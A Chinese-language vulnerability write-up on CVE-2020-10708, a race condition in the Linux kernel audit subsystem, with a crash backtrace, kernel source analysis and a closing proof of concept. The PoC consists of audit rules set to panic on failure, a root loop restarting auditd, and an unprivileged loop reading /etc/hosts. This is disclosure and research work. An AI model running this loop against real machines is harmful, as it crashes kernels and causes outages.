在某次 kernel panic 的 vmcore 分析中,我發現這可能是一個允許低權限用戶或遠程攻擊者觸發的拒絕服務漏洞,經過對調用棧的回溯分析與構造 PoC 驗證,並將測試結果提交給 Redhat 後,最終由 Redhat 確認:CVE-2020-10708。
漏洞原理
這是一個存在於 audit 子系統的競爭條件漏洞,漏洞原理比較簡單,構造漏洞場景也很簡單,我們直接通過 vmcore 來看看是怎麼發生的。
首先看下 panic 堆棧:
crash> bt
PID: 22814 TASK: ffff8d1b40ea0fd0 CPU: 1 COMMAND: "audispd"
#0 [ffff8d1b69ee3c60] machine_kexec at ffffffff96a60afa
#1 [ffff8d1b69ee3cc0] __crash_kexec at ffffffff96b13402
#2 [ffff8d1b69ee3d90] panic at ffffffff97107a9b
#3 [ffff8d1b69ee3e10] audit_panic at ffffffff96b271e4
#4 [ffff8d1b69ee3e28] audit_log_lost at ffffffff96b2722f
#5 [ffff8d1b69ee3e40] audit_printk_skb at ffffffff96b2743c
#6 [ffff8d1b69ee3e60] audit_log_end at ffffffff96b27692
#7 [ffff8d1b69ee3e78] audit_log_exit at ffffffff96b2ce51
#8 [ffff8d1b69ee3ee8] __audit_syscall_exit at ffffffff96b2f40d
#9 [ffff8d1b69ee3f20] syscall_trace_leave at ffffffff96a395f4
#10 [ffff8d1b69ee3f48] int_check_syscall_exit_work at ffffffff9711fac2
RIP: 00007fa2967ab170 RSP: 00007ffc7ce357d0 RFLAGS: 00000200
RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000
RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000
RBP: 0000000000000000 R8: 0000000000000000 R9: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
ORIG_RAX: 000000000000003b CS: 0033 SS: 002b
發生 panic 的函數是:
void audit_panic(const char *message)
{
switch (audit_failure)
{
case AUDIT_FAIL_SILENT:
break;
case AUDIT_FAIL_PRINTK:
if (printk_ratelimit())
printk(KERN_ERR "audit: %s\n", message);
break;
case AUDIT_FAIL_PANIC:
/* test audit_pid since printk is always losey, why bother? */
if (audit_pid)
panic("audit: %s\n", message); // audit_pid != NULL, panic here
break;
}
}
這裡觸發 panic 需要滿足兩個條件:
- audit_failure 設置成 AUDIT_FAIL_PANIC,AUDIT_FAIL_PANIC 是指示在 audit 失敗的時候主動觸發 panic;
- audit_pid 不為空,即當前 audit 是啟用的。
繼續回溯發現,在 audit_log_end 中有一處對 audit_pid 的判斷:
void audit_log_end(struct audit_buffer *ab)
{
if (!ab)
return;
if (!audit_rate_check()) {
audit_log_lost("rate limit exceeded");
} else {
struct nlmsghdr *nlh = nlmsg_hdr(ab->skb);
nlh->nlmsg_len = ab->skb->len - NLMSG_HDRLEN;
if (audit_pid) {
skb_queue_tail(&audit_skb_queue, ab->skb);
wake_up_interruptible(&kauditd_wait);
} else { // audit_pid == NULL
audit_printk_skb(ab->skb);
}
ab->skb = NULL;
}
audit_buffer_free(ab);
}
但這裡是在 audit_pid == NULL 時調用 audit_printk_skb,與 audit_panic 中對 audit_pid 的判斷結果明顯不同,唯一的解釋就是:在 audit_log_end 判斷 audit_pid 是否為 NULL 時,此時 audit_pid == NULL,進入了 audit_printk_skb,而在這之後,audit_panic 判斷 audit_pid 是否為 NULL 之前,由於某些原因(如 auditd 重啟),audit_pid 被重新賦值,從而導致 audit_panic 觸發 panic。
PoC
從攻擊者的角度來說,要觸發 panic 的前提是系統管理員(root)設置過 AUDIT_FAIL_PANIC,即 audit 失敗後 panic。其次需要等待一小段的窗口期,並在這個窗口期內觸發任意一條 audit 規則。一個典型的場景是,在 auditd 重啟時,會經歷一段 audit_pid 從 NULL 變成非 NULL 的時間,在這個時間裡觸發的 audit 規則如果恰好滿足兩個滿足上述描述的 audit_log_end 與 audit_panic 對 audit_pid 的判斷時機,就能夠觸發 panic。這其實是一個非常苛刻的條件,但可以通過循環來提高命中的概率。
- 【需要 root 權限】設置 AUDIT_FAIL_PANIC 並添加一條任意的 audit 規則:
`
[root@test ~]# cat /etc/audit/rules.d/audit.rules
-D
-b 8192
-f 2
-w /etc/hosts -p rwa -k hosts`
- 【需要 root 權限】不斷殺死 auditd 進程並啟動 auditd,這其實是製造 audit_pid 從 NULL 變成非 NULL 的環境:
while true; do ps aux | grep "/sbin/auditd" | grep -v "grep" | awk '{print $2}' | xargs kill; service auditd start; systemctl reset-failed auditd.service; done
- 【不需要 root 權限】不斷觸發審計規則:
while true; do cat /etc/hosts > /dev/null; done
- 等待 panic 發生